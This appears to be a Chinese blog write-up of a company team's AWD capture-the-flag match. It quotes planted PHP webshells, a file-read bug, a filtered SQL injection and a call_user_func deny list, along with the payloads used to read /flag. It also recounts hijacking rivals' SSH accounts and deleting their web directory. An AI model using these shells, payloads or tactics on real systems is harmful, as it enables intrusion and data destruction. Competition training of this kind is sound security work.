
经过一段时间的磨练我司在比赛中取得了不错的成绩,比赛分为理论题和 AWD ,上午考理论下午AWD。理论题相对比较简单,刚考完还没出成绩时候以为可以得第一名没想到有一队考的比我们还要高点,看下半场的AWD。
此次AWD比赛模式是网络混战模式,每队有一台服务器(Linux主机)需要维护,每队分配的管理用户非root,为低权限用户(www-data或ctf等)。每队需要在比赛过程中对自己的服务器进行漏洞(web/二进制等)加固(整个比赛过程中均可加固),同时在规定时间内(开赛30分钟后)对其他队伍主机进行攻击,通过漏洞获取相应的flag得分。
赛前准备了一个WAF以及文件监控来防护,将一些基础的如ssh登录密码修改、网站备份等做好,因为比赛环境是纯内网的,所以提前准备了内网通信软件——飞秋。前30分钟是加固,有10个php页面,在invest.php和.config.php中找到了两个一句话木马。
invest.php
@eval($_REQUEST['liumang']);
.config.php
<?php
$str=@(string)$_GET['str'];
eval('$str="'.addslashes($str).'";');
?>
WAF暂时没有开启,考虑到可能会影响网站业务。Ebank.php的文件可以用get提交 message=/flag。
Ebank.php
<?php
if (isset($_POST['message'])) {
$message = getParsedBody($content_type, $_POST['message']);
$message = urlencode($message);
echo "<script>confirm('请确认您的留言:{$message}');</script>";
}
elseif (isset($_GET['message'])) {
$message = getParsedBody($content_type, file_get_contents($_GET['message']));
$message = urlencode($message);
echo "<script>confirm('请确认您的留言:{$message}');</script>";
}
?>
30分钟加固结束之后便开始进攻,使用Record.php的SQLMAP 注入,但是没成功,需要通过BP把请求文件保存下来,用这个文件的方式来SQLMAP。
if (isset($_POST['rate'])) {
$rate = $_POST['rate'];
if(stristr($rate, 'sleep') || stristr($rate, 'benchmark'))
{
die("error");
}
$sql="INSERT INTO rate(`rates`) values('$rate')";
$result = mysqli_query($con, $sql) ;//or die(mysqli_error());
$sql_query = "SELECT LAST_INSERT_ID()";
$result = mysqli_query($con, $sql_query);
while($row = mysqli_fetch_array($result))
{
die("汇率新建成功,汇率编号:".$row[0]);
}
mysqli_close($con);
Systemtime.php的有个跨站和反射注入,眼瞎就看到了跨站没看到反射注入。裁判最后讲解才反应过来。Post func=file_get_contents&p=/flag.
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p); //=file_get_contents("/flag")
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("当前为系统配置功能,禁止瞎搞。");
}
主要得分点是我们使用聪明的大脑在30分钟刚结束就立马尝试修改对方的ssh密码,拿到了两台服务器,并做出了一个大胆的操作,把其中一队的HTML目录删除了,让他们宕机扣分了,但是过了一段时间后SSH权限被他们拿回去了,后面得知是用了一次恢复环境的权力。这边本应该要闷声发大财的,我们也反思了,确实攻击应该偷偷默默地进行,说不定他们就发现不了密码被改了,也能像另外一队一样每15分钟为我们“进贡”。
总结了一些比赛小问题:
1. 内网沟通工具时断时续,延迟大,有时候还彻底没法用。
2. 没有python环境,所以文件监控没做成。
3. 流量监控也没准备好
4. 日志分析也没有,只有手工tail 看日志
5. 没有垃圾流量攻击